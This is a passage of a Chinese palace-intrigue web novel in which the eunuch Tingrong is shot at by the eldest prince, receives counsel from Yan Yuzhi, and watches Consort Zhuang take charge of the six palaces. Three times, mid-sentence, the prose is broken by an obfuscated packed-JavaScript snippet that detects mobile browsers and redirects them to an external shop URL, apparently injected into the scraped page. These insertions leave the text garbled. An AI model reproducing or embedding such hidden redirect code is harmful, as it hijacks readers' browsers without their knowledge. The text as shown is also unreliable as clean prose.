“棠儿不是惹事的性子,惯不坏的。”泰宣帝道。 恭贵妃一脸无奈,只能随泰宣帝了。 在这样的气氛下,泰宣帝再次问起她是否愿意协理六宫。这回恭贵妃已经想得很明白了。 “皇上,后宫事忙,臣妾身体还没全好,恐怕担不起这样大的事。平日皇后娘娘需要帮手,差臣妾做些事,臣妾还能做,但皇后不做主心骨,臣妾实在是找不到头绪。 “您别怪臣妾推辞,若臣妾能做好,自愿意为您和皇后分忧,也能让人赞您一句知人善用。可臣妾自知本事有限,若没做好,只会让人觉得皇上偏心臣妾,宠着臣妾,才任臣妾胡来。届时等皇后娘娘身子好了回来收拾这烂摊子,万一又被累病了,就是臣妾的罪过了。” 泰宣帝看着她,见她表情的确为难,便道:“罢了,朕再想想吧。不过皇后这一病,朕才发现之前没让你、淑妃、玉贵嫔学着六宫事,是朕疏忽了。” “皇上不必为此忧心,待皇后娘娘好起来,一切就都恢复往常了。” 泰宣帝晚上翻了白御女的牌子,在恭贵妃这儿坐了一会儿,就回温华殿去了。 恭贵妃这才正真松了口气,把听容叫了进去。 “你胆子倒是大,敢那样插话。”恭贵妃戳了一下听容的脑袋。 听容:“奴才没想那么多,应顺公公在门口站着,如果我和灵瑚姐姐立那儿不动了,反而让人多想。” 随后,他又把自己跟灵瑚说的那些跟恭贵妃说了。就算是他多心,也是他表忠心的机会。 “你说得没错。”恭贵妃托着下巴,不再那么端庄,“皇上来问我,其实未必希望我协理六宫,否则直接下旨就是了,我还能抗旨不成?” 她跟了泰宣帝多年,太知道泰宣帝的德行了。她娘家手握兵权,泰宣帝本就忌惮,怎么可能再把六宫之权轻易送到她手上?哪怕知道她会拒绝,也要走这个流程,显示这份宠爱和公正。 听容也在她的话里琢磨出味来了,至少他明白皇上与恭贵妃并不是表面看起来那么毫无嫌隙的。再想到恭贵妃说过的实权和严昱祉,听容觉得这里面恐怕还有很多他不知道的事。 可他并不觉得危险,有的时候越危险的地方越安全。皇上不会把恭贵妃怎样,只要有这个大前提在,那繁秀宫就比这宫里任何地方都安全。 * 皇后这一病,原本定的端午家宴也作罢了。总不能皇后病着,泰宣帝跟其他嫔妃却聚在一处热闹。 芳眉办完差事回宫了,恭贵妃细问了法事的情况,芳眉一一答了。 “往年开春雨就多,木制的牌位保护不当,容易生霉,总是要细细擦过,实在不行就要重制的。今年倒好,没有这种情况,倒是节省了些时间。”芳眉说着,将带回来的香拿出来,“这些都是住持亲手制的香,住持说娘娘诚心,心系英灵,这些香赠于娘娘,平日礼佛也是好的。” “住持有心了。”恭贵妃收下了,不是名贵的东西,重要的是心意。 “宫里的人这些日子伺候得可还尽心?”芳眉在外总是不免操心,她打小就跟着恭贵妃,总怕她不在身边盯着,别人不用心。实际她也知道是自己想多了,繁秀宫都是一个个挑过的,不可能偷懒,只是习惯了,改不了。 “说到这个……”恭贵妃笑起来,跟她说起了听容。 芳眉听后点头道:“他虽是新来的,倒是聪明,也尽心。” “虽是有些鲁莽了,却也是个可用的。”恭贵妃下了定论。 端午这日,泰宣帝来了恭贵妃这里。恭贵妃还不宜侍寝,白日里泰宣帝到她这儿来,也合情合理。 恭贵妃把三公主也叫了来,有公主承欢膝下,倒更有一家人的气氛了。 听容中午之前就做好了几道小菜,等晚膳时让芳眉和灵瑚端进去即可。他则带着另一份和刚出锅的粽子去了皇子所。 今日皇子们不必上课,大老远地就听着远子里热闹。 守门的护卫看到他腰上繁秀宫的牌子,没有多问就放行了。 皇子们正在院中练习射箭,严昱祉并不在其中,听容沿着回廊走,是打扰不到他们的。 “小心!” 突然地一吼让听容下意识地转头看去,一支箭直直地向他射来,听容瞳孔紧缩,他脑子里知道自己应该跑,可身体却僵在那里完全不听使唤。与此同时,所有的动作似乎都慢了下来,可再慢,他也反应不及。 这时,一个身影快速跃过来,一脚踢歪了箭矢的方向,只听一声闷响,箭头扎进了柱子里。 小禾利落地落在听容面前,还没有听容高的个子应是把听容挡在了身后,周身的气场露出几分锐利。 大皇子赵恒栋带着几分玩味的拍起了手:“不愧是严昱祉的跟班,身手不错啊。” 四皇子赵恒植这才收起担忧的神色,对赵恒栋道:“大哥,练箭是为了精进准头,您这样实在是太危险了。” 赵恒栋满不在乎地说:“对着不会动的靶子练,能有什么用?猎物又不会待在原地等你射。” 赵恒植蹙着眉,一方面不赞同大哥的做法,另一方面又觉得自己说太多不合适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254452|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小禾冷着脸,伸手拔下柱子上的箭,冲着赵恒栋丢过去,蕴含的力道完全不比弓箭射出的小。 “你干什么?!”赵恒栋惊叫,完全没料到小禾会动手。 听容也吓了一跳,那可是大皇子,搞不好就要闹个刺杀皇子的罪名。 箭不偏不倚地扎在了赵恒栋脚下,他和听容一样,期间除了喊了一句,动也没敢动。 等确定箭没有扎到自己身上,赵恒栋才又怒道:“别以为你是严昱祉的仆从,我就不敢动你!这是皇子所,岂容你放肆?!” 小禾冷眼看着赵恒栋:“殿下有这个本事,理应拿上您的箭去战场上杀敌,而不在宫里欺负一个手无寸铁的宫人。将士们在前线奋勇杀敌,是为了国泰民安,而不是为了让殿下用武器拿人取乐。” 这话如果是别人说,赵恒植肯定要为他捏把汗,但小禾说,就算告到了皇上那里,他大哥也不占理。 “哼!”赵恒栋重重地哼了一声,自知没理,把弓丢给下人,就回屋去了。 小禾这才转过头,脸上的冰冷瞬间换成笑脸:“你没事吧?别害怕,有我在呢!” 听容已经回过神了,感激地说:“谢谢你,刚才我真的不知道怎么反应。” “很正常,你又没学过武,肯定反应不及的。”小禾安慰着他,又问,“你是来找我的吗?” 听容心跳还没恢复正常,但已经不紧张了:“繁秀宫做了些端午的小食,给你和严公子送来。” “公子出宫去了,不过应该也快回来了。走,咱们先回致书堂去。”小禾拉着听容的衣袖,一副有他在,什么都不用担心的样子。 致书堂的书桌依旧干净整洁,今日阳光很好,晒得整个屋子都有太阳的味道。 小禾给他倒了茶,严昱祉不在,小依旧可以随意出入殿内,想拿什么,用什么,都随意。 听容这会儿也顾不上合不合规矩了,三两口将茶喝完,才真的压了惊:“你身手真好。” 小禾不好意思地抓抓头发:“我也就只会练武了,学问可差了。” 他太过实在,把听容逗笑了。 见他脸色不白了,小禾就放心了:“也是大皇子运气好,若是被公子遇上,那一箭必扎他身上去!” 听容赶紧说:“幸好你没莽撞,否则不好收场。” “有什么不好收场的?本来他就不占理。”小禾似乎是有靠山,不怕事。 “之前我在这儿给公子侍酒,大皇子来小坐了一会儿,当时我看他不是这么不知轻重的人。”听容回想着当时的场景。 小禾老大哥似地叹道:“的确,这次其实他也不是针对你,而是对着娘娘呢。” “怎么说?”听容好奇。 “皇上不是跟娘娘商议,想给她协理六宫之权嘛。这事娘娘没答应,却在后宫传开了。别人倒还好说,庄贵妃那儿是第一个不高兴的。这不,大皇子身为庄贵妃的养子,心气也不顺呢。我和公子他动不了,你正赶着这个时候来,就成靶子了。”小禾并不是抱着说八卦的心思跟他聊这个的,而是真心要提醒他得小心。 “什么靶子啊?”严昱祉掀开门帘走进来。 仅仅是多了一个人,听容却觉得这个屋子像是多了一层防护罩,就像头狼之于狼群,有他在,就没有哪能比这里更安全。 26.第26章 听容都不来得及说一个字,小禾就把事情像倒豆子一样全跟严昱祉说了,可见他对严昱祉从不隐瞒。 “幸好我看到的及时,不然听容就算保住了性命也肯定是重伤了。”小禾想起来还是满心愤怒。不止因为把听容当成朋友,也因为大皇子的做法实在不是一个皇子应该做出来的。 严昱祉这会儿脸也沉下来,在皇子所动他姑母手底下的人,要说赵恒栋不是故意的,严昱祉根本不信。可动不了他和他姑母,就拿下面人出气,这样的人怎能身负重任? “小禾,这是府里做的端午吃食,你去分出一半,让听容带回去给姑母。还有季汀给姑母配的养身的药丸,你也给装好了。”严昱祉把带回来的东西递给小禾。 小禾丝毫没感觉到严昱祉是想把他支走,告完状一扫阴霾,就去忙活了。 严昱祉坐到椅子上,刚才和小禾一起,听容还敢坐,现在面对严昱祉,他觉得还是站着更合适。 阳光依旧把屋子晒得暖和,有干燥好闻的木香。 严昱祉自顾自地倒了杯茶,才开口:“在宫里,杀一个小太监对上位者来说并非不可为的事。给一个死人扣再多的罪名,死人也不会活过来争辩。宫里虚虚实实,每个人看着都和气,但前提得是你站得够高,才真的没人敢动。 “今天赵恒栋敢如此,也是知道轻重,捏一个繁秀宫的软柿子,给自己和庄贵妃找找面子。这次幸好有小禾在,下次呢?” 严昱祉能直呼大皇子的名字,可见气得不轻。 听容没接话,但严昱祉帮他梳理了条理,他也明白其中的意思了。 严昱祉继续说:“我不知道你怎么想的,在宫里你懂得藏不是坏事,但藏太多可能还没等到能放的机会,你就没命了。 “你进了繁秀宫,只要忠心不二,姑母与我自然把你当自己人,也会尽量护你。可皇宫这么大,姑母的手不是哪儿都伸得进的,总有顾不到的地方。 “所以依我看,你还是别藏了。这里没那么多时间让你去听去看,去等时机,更多的还是边听边看边做。只有你对更多的人有用,危险才能减到最少。你看看皇上身边的应顺公公和廉公公,皇子见到他们也得给面子地应声好。 “倒不是让你爬那么高,但你很聪明,我不知道你是怎么养成这么能收敛的性子的,只是此一时,彼一时。有你表现的时候,就别收着了。” 听容没想到严昱祉会跟他说这么多,还都是很实在的建议。他不敢多信别人,心里也一直对“奴才”这个身份有所抵触,只是不得不顺从情势。可他也知道,严昱祉这番话没有毛病,都是为了他好。 “多谢谢公子提点。”听容真心道谢。 “提点算不上,我也不图你的谢。只是希望你明白,我姑母和宫里其他嫔妃不一样,在她手下,与其说是她的奴仆,更得像是她的兵。她指挥,你们行事,你们收集情报,她来判断,才能达到相辅相成的效果。繁秀宫里不是谁保谁,而应该是相互保,才能真的成为铁板一块。”严昱祉拿将士带兵的理论跟他讲,这样最浅显。而他们严家的孩子从小也是这样授教的,女孩子也不例外。 “我明白了。”听容心里蕴藏以久的种子属于在阳光中冒出了芽,同时根系也开始向下蔓延,一切都是天时地利人和的结果。只有在合适的地方,种子才能开出最好的花。 为了给他更多的时间平复惊恐,严昱祉留了听容在致书堂待到太阳西落。三个人一起吃着听容带来的端午小食,听容在这边用了晚饭,才提着严昱祉带回来的东西,回繁秀宫去。 而这段时间足够听容思考接下来自己要怎么做了。 “怎么回来得这么晚?”芳眉见他回来,关心地上前问,怕他是遇上麻烦了。 听容笑道:“让姑姑担心了,严公子留我用了晚饭。他还带了些府里做的吃食和养身丸,让我拿回来给娘娘。” 芳眉笑道:“没事就好。说来也是,赶上个节,你去了公子留你也正常。否则就他和小禾两个人,实在不够热闹。” “皇上已经回去了?”听容见宫里没有皇上的仪仗了,便问了一句。 “嗯,刚走没多久。你进去给娘娘回话吧。” “好。” 听容把带回来的东西给恭贵妃过目,然后向她提了大皇子用箭射他的事。 意料之中,恭贵妃脸一下就沉了:“你没事吧?是不是吓坏了?” 听容摇摇头:“奴才没事,小禾出手快,奴才一切都好。公子留了奴才吃饭,也说了些安慰的话。” 恭贵妃这才点点头,目光幽幽地说:“皇子们长大了,心思也多了。本宫虽无皇子,但也不能随便让人作践了。这事本宫记下了,以后有机会,一定给你讨个说法。” “娘娘不必如此,奴才不愿您多为奴才费心。”听容并不是说违心话,他觉得自己还没到有资格让主子帮讨说法的地位,“只要您好好的,奴才自然安好。” 恭贵妃显然不这样想:“在本宫手底下做事,只要不是犯了本宫的忌讳,旁人还没那个资格威胁本宫身边的人。否则谁还愿意忠心为本宫效力?” 听容不管恭贵妃是否能为他做主,有这句话就已经胜过循才人数倍了。 恭贵妃食指轻轻敲了敲桌面:“不过眼下庄贵妃怕是会得意一阵,现在跟她正面冲突,她理亏反而会早有防备。咱们且等一等,让她多得意几天吧。” * 听容不知是恭贵妃早猜到了,还是皇上来用膳时跟恭贵妃提了,端午的第二天,协理六宫之权就交给了庄贵妃。 早膳听容给恭贵妃做了素馅包子,配上头一天晚上腌制的小菜,简单又下饭。 “听容的东西做得不精致,但味道是真的好。”恭贵妃吃得高兴,自然就要赞上几句,“昨日的肉粽也是,咸香适中,连皇上吃了都赞呢。要不是不好消克,今早我肯定要吃一个。” 芳眉从旁侍膳,笑说:“是呢。奴婢昨个吃了也觉得想的慌。等晚膳时,再给您热一个。” 原本听容做了挺多的,只不过泰宣帝吃着顺口,带走了几个,剩下的就只能先紧着恭贵妃吃了,肯定没有下人跟主子争吃食的道理。 “娘娘,春萱宫的光全公公来了。”小宫女进门禀报。 “让他进来吧。”恭贵妃与芳眉对视了一眼,放下筷子。 听容从小厨房出来,准备换别人去吃饭,就看到光全进了殿内,那副趾高气扬的样子倒和那日把他从循才人宫里带走的架势有几分重合。 再怎么趾高气昂,见到恭贵妃还是要老实行礼,期间听容也来到了殿门口,小声让候着的宫人去吃饭,他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259043|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿替一会儿。 “庄贵妃差你来,可是有什么事?”恭贵妃问。 “正是。我们娘娘说了,皇后娘娘病着,免了各宫问安。如今我们娘娘协理六宫,还是得每日与后宫主子们见上一面,也好方便安排六宫事宜。所以从明儿起,请各宫主子每日卯时初刻,到春萱宫去。”光全边说边观察着恭贵妃的表情,似乎是想看出些什么不妥,好回去回话。 这种小心思恭贵妃哪能看不出来,笑道:“知道了,你去吧。” “是,奴才告退。”没看出什么,光全也不能赖着不走,只好去下一处了。 恭贵妃重新提起筷子,比平日多吃了一个包子:“这是要跟皇后比照啊。” 芳眉笑道:“庄贵妃心里一直不服皇后,论陪在皇上身边的时日,还是庄贵妃更多些。当初若不是太后插手,如今皇后之位可能就是庄贵妃的了。” “说得也是。”恭贵妃倒不在意这些,现在宫中的格局她是满意的,“不过话说回来,皇上疑心重,就算没有太后插手,庄贵妃也未必能登上凤位。” 听容听着宫里的八卦,一一记下。 早膳后,随着一阵环珮碰撞的轻响,淑妃来了。淑妃好像很喜欢这样叮当作响的佩戴方式,这样也的确让下人们很好认这位主子。 “怎么这么早就过来了?”恭贵妃让她坐,吩咐听容上茶。 “恒植一早就来了我这儿,说一晚上没睡好,昨日大皇子拿箭射了姐姐你的宫人,他没能反应过来阻止,心里过意不去。手头又没有什么能当赔礼的东西,就求我这儿来了。”淑妃有话就直说了。 恭贵妃笑说:“恒植性子善,也是难为他了。” “大皇子的行事作风越发像庄贵妃了。”淑妃叹气,同时也不免为自己的儿子担忧。平时皇子们都住皇子所,万一有个口角,她担心赵恒植吃亏。 “毕竟是庄贵妃养大的。”恭贵妃无奈地摇摇头。 淑妃拿出准备好的安神香:“这盒安神香是我家里人送进来的,你帮我给那位宫人吧。这样恒植也能安心些。” 恭贵妃没跟她客套,正好听容进来送茶,恭贵妃就让他领了谢恩。 淑妃感叹道:“原来是他啊,我还在想大皇子怎么一下就认出是你宫里的人了。” “他和小禾关系好,平时去皇子所送东西,都是叫他去的。” 淑妃理解地点点头:“对了,庄贵妃让后宫嫔妃早上去她宫里小坐,姐姐可知道了?” “光全刚来说过。”恭贵妃看着淑妃,说:“我倒是还好,她面上不敢拿我怎么样。倒是你们,她若比着皇后,你们恐怕就没那么轻松了。” “是啊。不过左右我忍一忍也就那样了。这些年不都这么过来的吗?”淑妃倒是没表现出委屈。 正说着话呢,泰宣帝身边的应顺公公来了。 “公公怎么还亲自过来了?”恭贵妃语气带着笑意,对应顺公公挺客气。 这让站在门口的听容又想起严昱祉的话,高位太监的待遇果然是不同的。 应顺并没有因为恭贵妃的客气而有所怠慢,给两位娘娘行了礼后,说:“贵妃娘娘,皇上决定明日起驾护国寺祈雨,特地让奴才来跟您说一声。另外,皇上说您身子还未全好,庄皇贵娘娘那儿的早起问安,您就不必去了。” 27.第27章 送走了应顺,淑妃才道:“皇上还是疼姐姐,这下好了,我估计着庄贵妃见你不去,心气一不顺,又不知道怎么磋磨我们。” 恭贵妃喝着茶:“皇上消息倒快。我猜是昨个皇上歇在庄贵妃那儿,庄贵妃提了此事。我不去对我来说自是松快了,可她若真有什么事,你以为是不去就能躲了的?” “说得也是。欲掌权者一旦真有了权力,必是要全力展示的。如今她母家又得皇上信任,这些日子真不知道怎么过。”庄贵妃什么架势,淑妃清楚得很,“要不是这些年姐姐你护着我,我恐怕不会比良嫔好到哪儿去。” “别这么说。你有恒植,她再怎么嚣张,也不会真敢把你怎样。”说到这儿,恭贵妃顿了一下,才又道,“不过其他位份不高又没有子嗣的,怕是难过了。现在只能希望皇上尽快求雨归来,或者皇后娘娘痊愈,不然这宫里怕是没人能制住她了。” “说到皇后娘娘,我来你这儿时遇到皇后宫里的人,本是想问问皇后娘娘如何了,却听那宫人说皇后要把灵绣接进宫来侍疾。可见是真的难受了。”淑妃说着自己刚得到的消息。 “灵绣?皇后前年不才给她配了个郎君吗?已经生下孩子了?”一个出了宫的宫女,即便是宫里比较有身份的大宫女了,恭贵妃也没太留意。 像这样婚后被招回来继续伺候的不是没有,但人数并不多。要么是已经生了孩子,主子实在舍不得,才又把人叫了回来;要么是丈夫过世,自己过得艰难,主子愿意怜悯,也会叫回来做事。但绝大部分留在宫里,能做到嬷嬷这个位置上的,都是一辈子伺候在宫里未曾婚嫁的。 “没呢。听说是婚后生活并不如意,皇后现在身边正需要人,就给叫回来了。” “皇后给配的婚,还能过得不如意?”恭贵妃已经不记得灵绣配的是什么人家了,只是皇后做的媒,对方得多大胆子,才敢不好好对灵绣? “具体的我就不知道了。若真是过得可怜,皇后愿意拉她一把,也是行善了。”淑妃感慨,像这些大宫女都是在身边伺候多年的,不可能一点感情没有。 “也是。这世道女子本就不易,要再遇不上个好郎君,这辈子真是没盼头。” 听容对此只是听了一嘴,并没太上心。实话实说,在他的意识里,村里的女孩都比他过得好些。 “听容。”恭贵妃喊他。 “奴才在。”听容进门。 “你去和咱们宫里的人都说一声,这些日子别往春萱宫门口去,也别和他们宫里的人起冲突。咱们先避一避。”恭贵妃道。 “是。”听容应后,就去传达了。 次日一早,泰宣帝就出发去护国寺祈福了。 恭贵妃想着皇后病着,庄贵妃独揽大权,她虽不用去庄贵妃那里问安,但总得做点什么。免得让人说她不知为皇上分忧。于是她便让听容去内务府要些做祈福香包的布料,繁秀宫里做一些送到去净华殿供奉,也是一份心意。 听容虽然主要是在小厨房忙活,但恭贵妃派给他的活儿并不拘在那里。他也乐得出来走走,晒晒太阳,心情也是好的。 “要几块布料也这么费劲,不就是看主子不得宠了吗?” “采莺姐姐,你小声些,让人听到不好。” “这又没有旁人,再说,我说的也是实话。主子不会争取,我们就只能跟着看人脸色,真是越想越窝火。” “姐姐,咱们服侍主子,哪能有怨言啊?” “不是怨言,我只是瞧明白了。皇后宫里的大宫女嫁出去,听说过得也不好,这不巴巴儿回来伺候了?如今看来,倒是白御女有福气,一朝被推荐,就成主子了。若咱们的主子也能有这份心,咱们还能过得这么苦?” “嘘,姐姐别说了,那边来人了。” 采莺也不是真不知收敛,赶忙闭了嘴走了。 听容从小门迈过来,看着两个人离开的背影,有了白御女这个例子,有人跟着心动也在预料之中。只是听容觉得自己还是小看采莺了,之前采莺的目标是严昱祉,如今可能是觉得够不上,加上灵绣的情况在下人堆里传开了,采莺的心就更大了。 他自己是想往上爬的,所以看到同样往上爬的,他会有几分欣赏。可采莺是曾想收买别人找他麻烦的,这样的人当主子,他就不一定好过了。 不过眼下采莺恐怕就是想也没办法,要是给皇上送人那么简单,那六宫岂不乱套了? “哎呦,这位小公公看着面生,不知叫什么啊?”内务府总管看到他的腰牌,亲自迎了上来。 这是听容目前在太监堆里感受过的最好的待遇了:“见过杨总管,小的繁秀宫听容,奉娘娘之命,来要几块做祈福香包的布,不知内务府可有?” “有有有,恭贵妃娘娘要,没有我也得给变出来不是?”说着,杨公公就吩咐起手下的人,“去库存里拿几匹合适的来让听容公公挑。” “是。”小太监应着就去了。 “喝茶不?我刚泡好的。”杨公公招呼着听容。 杨公公四十多岁,下巴正中间长了一颗大黑痣,被认为是有福的。听说他能在内务府总管这个职务上稳坐这么多年,就是因为这颗痣长得好。当然,传言只能当个乐,若没点真本事肯定是不成的。 听容很清楚杨公公态度如此之好,不是他有什么了不起,而是因为他是繁秀宫来的。 “不了,多谢公公好意。” 杨公公给自己倒了杯茶,才又道:“之前繁秀宫来的都是芳眉姑姑,我看着你眼生。” “是,小的刚到繁秀宫伺候不久。娘娘怕我不认得去各处的路,以后办事不利落,所以让我到处走走。” “恭贵妃娘娘总是这样细致,待我们这些下人也和善。”杨公公这话说的诚心,听不出半分奉承。 “正是。”听容也答的诚心,没有半分应付。 不一会儿,布匹就拿来了,五颜六色的看得人眼花。听容想到刚才采莺的话,这就是不受宠和受宠的待遇差别。 要是说挑粗布,听容还挺在行,但这种好布料,他就完全不懂了,只知道这匹看着更光滑,那匹摸着更舒服。可他又不好在外人面前露怯,只好凭眼缘挑了一红一绿两匹,光泽和手感都不是最好的,却也是挑不出毛病的。 “我这就差人帮你拿回繁秀宫去。”杨公公让人把其他的放回去。 “不劳公公,我抱回去就行。多谢公公了。”听容不过是个小太监,没资格劳烦别人,他也不是来摆架子的,把差事做好就行了。 杨公公见他态度不错,即便是新进繁秀宫的,从头到尾也都没拿架子:“那成,以后繁秀宫再要什么你就直接来找我。” “那就多谢公公行方便了。”客套话听容是会说的,只是以前能用的地方不多,现在看来,以后能用到的地方还多得是。 听容带了布回去,繁秀宫上下就忙活了起来,恭贵妃带着宫女一起缝制,好不好看的还是其次,重点是心意要诚。内外的杂事就交给太监们了,由于宫里之前的太监们一直都是做粗活的,只有听容来了接了之前言金的班,做的是细致活,所以这些人就交给听容安排了。 这对听容来说不是难事,之前他在循才人宫里是一个人包揽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263698|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了太监的所有活儿,也让他知道一个宫里具体都有什么是需要太监来做的,现在安排起来倒是一点都不忙乱。他甚至还能顾及到大家的活儿分的是不是差不多,尽量一视同仁,毕竟他是太监,不是主子,公平对树立威信来说很重要。 也是通过缝制香包,听容才知道灵瑚居然特别擅长女红,完全不比绣坊和制衣局的人差。 由于泰宣帝去祈福,各宫也不好这个时候大鱼大肉的,显得与泰宣帝不同心,所以桌上的饭菜都以素为主,夹一道肉菜就可以了。 三日后,繁秀宫的祈福香包制成,听容端着香包,与芳眉一起陪恭贵妃去净华殿请大师送经开光。宫女们也能趁机歇一歇,别看做这些只要坐在那儿就行,其实是很累人的。 做完一系列仪式,听容帮着把一部分香包供到佛前,另一部分则挂到了净华殿院中的百年银杏树上,这才算完成了祈福仪式。 回去的路上,恭贵妃道:“咱们去宫花园逛逛吧,这几日没出门,待得有些闷了。” “是。”芳眉扶着她,听容走在两人后边。 “今天怎么觉得宫里冷冷清清的,看不着什么人?”恭贵妃又左右看了看,确定了自己的判断。 芳眉笑说:“不是只有咱们宫里知道得绕路走,没事别在外面晃悠,其他宫里怕也是这么吩咐的。” 恭贵妃笑叹:“这几日连个来咱们宫里坐坐的人都没有,可见是真的不好过。” “是啊,就连淑妃娘娘都不来了,咱们也不知道庄贵妃那边每天早上是什么安排。” 恭贵妃:“月坤宫没传出个消息来,也不知皇后娘娘身子如何了。” 芳眉:“皇后娘娘宫里向来口风紧,咱们不好多打听。” 恭贵妃执着手帕挡在额着前,望了望点缀着几片白云的大晴天:“宫里气氛紧张,弄得人心浮躁。还是赶紧下场大雨吧,所有人都能轻快些。” 听容也跟着抬头看了看,根据他的判断,应该是下不了。乡下人有自己看雨的方法,只不过宫中城墙太高,看得不够远,他也不敢确定,就没开口。 进了宫花园,宫人们正在抬水浇灌,往常这些活儿应该在早饭前就做完的。但现在旱得厉害,浇水的量比平时多了一倍不止,自然干得就没那么快了。可即便如此,宫花园里的草木依旧感觉蔫蔫的。 “今年的收成怕是不太好了。”听容看到这些,下意识地说了一句。 “什么?”恭贵妃转头看他。 听容才想起来自己不应该说这话,这是宫里,宫里人哪懂乡下人对丰收的渴求呢? “是奴才失言了。”听容忙请罪。 恭贵妃摆摆手,问:“收成真的会很差?” 听容犹豫了片刻,说:“如果是在奴才的家乡,这种旱法就算长出了苗子也壮不了。南方怎么种地奴才不知,但北方,村里什么时候下种,什么时候移栽都是讲究时间的,错过了时间即便是补救,也可能是多长叶少有果,甚至无果。” 恭贵妃沉默了片刻,对听容道:“一会儿回宫后你去把昱祉叫来。” 严昱祉常来请安,但并不是天天都到。有时候恭贵妃要见他,也得让人去叫。 “一个宫女穿红戴绿的,成何体统?!”庄贵妃的声音清晰地传来,让恭贵妃停下了脚步。 随后传来循才人的声音:“娘娘恕罪,是嫔妾管教不严,回去定让她把衣服换了。” 这是循才人跟庄贵妃撞上了,听容不知道是应该同情循才人,还是说她这种时候就应该除了请安外闭门不出。反正落庄贵妃手里,是不可能有好的。 28.第28章 “娘娘。”芳眉声音压得极低,意思是不要过去为好。恭贵妃虽然不怕事,可现在这个时候,还是别和庄贵妃起争执了,划不来。 恭贵妃站在原地有所犹豫。 听容则是在想,之前循才人得宠,又抢过庄贵妃的恩宠,所以庄贵妃容不得她,使了法子害她。可现在循才人已经大不如前,对庄贵妃来说实在算不上威胁,何必再与她计较呢? 他对循才人有同情,却也明白帮这种性子的人,得不了好。 就在他寻思之际,恭贵妃迈步走向那边。 “娘娘……”芳眉还想劝,但恭贵妃走得快,她也不好声音太大。 “这是怎么了?怎的让庄贵妃发这么大火?”恭贵妃走过去,脸上带着笑意,假不假的先不论,面子上的工夫是有的。 见是她来了,庄贵妃狭长的眼睛斜瞟了她一眼,还是按规矩跟恭贵妃相互行了礼。跟在两人身后的下人也规矩地向对面的主子行礼。 “天气见热了,庄贵妃协理六宫本就千头万绪,再一急可别上火了。”恭贵妃想给庄贵妃递个台阶,这事到此为止得了。 “我是忙得紧,哪哪都得亲自看着,这才不负皇上对我的所托。”庄贵妃趾高气扬的标榜着自己的六宫之权,“倒不像你,落得清闲。” “你得皇上信任,六宫皆知。”恭贵妃没跟她计较,本就不是她没办法得这个协理六宫的权力,而是她清楚自己不能拿,至少现在不能。 “原本今儿这一上午都好好的,结果一进宫花园,就看到这宫女穿红戴绿的,实在不像话,我看着比白御女穿得都花哨!”庄贵妃指着循才人身后的采莺。 此时采莺的头已经快低到胸口去了,人也轻微发抖。 听容也随着庄贵妃所指看了过去,他知道平时采莺穿得就比别的宫女好些,但今天这样偏艳丽的红色,宫女平日是不能穿的,除非是赶上年节,宫里举办大宴席,为了图喜庆,会让宫女统一换上颜色偏红的衣服。平日里就算要穿,也是以浅粉红为主。 “红衣裳,红耳坠子,头上还别这么大个绢花,你说这像话吗?”庄贵妃义正词严。 恭贵妃一时居然也不能说庄贵妃是无理狡三分了,可也不能一句话不说就走,只能帮着找补:“我记得这丫鬟是循才人的陪嫁吧?你也知道,陪嫁的宫女,主子平时总会多疼着些。虽然今天这个打扮的确不是那么合规矩,但也不算太过分,且饶她这一回吧。” 庄贵妃眉头一皱:“你说得轻巧,如果别的陪嫁宫女也学她这般,六宫岂不难管了?” 恭贵妃微笑说:“如今是你在协理六宫,再难管有你恩威并施,总能教好的。现在大家都在为祈雨的事操心,这等小事暂且放过,就当是为祈雨积福了。” 庄贵妃考虑了一会儿,说:“死罪可免,活罪难逃。循才人,本宫罚你回长宁宫闭门思过,悉心管教,无旨不得出宫门半步。” 循才人身形一晃,似要晕倒了。 庄贵妃既然退了一步,没给要命的责罚,恭贵妃也不好再说什么。 循才人只能咬着牙谢恩,带着劫后余生的采莺回长宁宫去了。 庄贵妃这才又把目光转回恭贵妃身上:“你这是去哪儿了?皇上不是让你好好养身体吗?” 听容听出来了,这是恭贵妃不用每日去春萱宫,庄贵妃不满呢。 恭贵妃笑说:“我居于宫中,皇上祈雨我也帮不上什么,就和宫人们一起做了些祈福的香包,刚送到净华殿去。” 这件事上庄贵妃是挑不出错的,只见他勾着嘴角:“你倒是有心。” 说罢一摆手,就带着宫人离开了。 这一出闹得恭贵妃也没有逛花园的兴致了,直接回了繁秀宫。 “娘娘,您不是等着庄贵妃自负出错吗?今日又何必帮着循才人呢?”芳眉接过听容送来的茶,放到桌上。 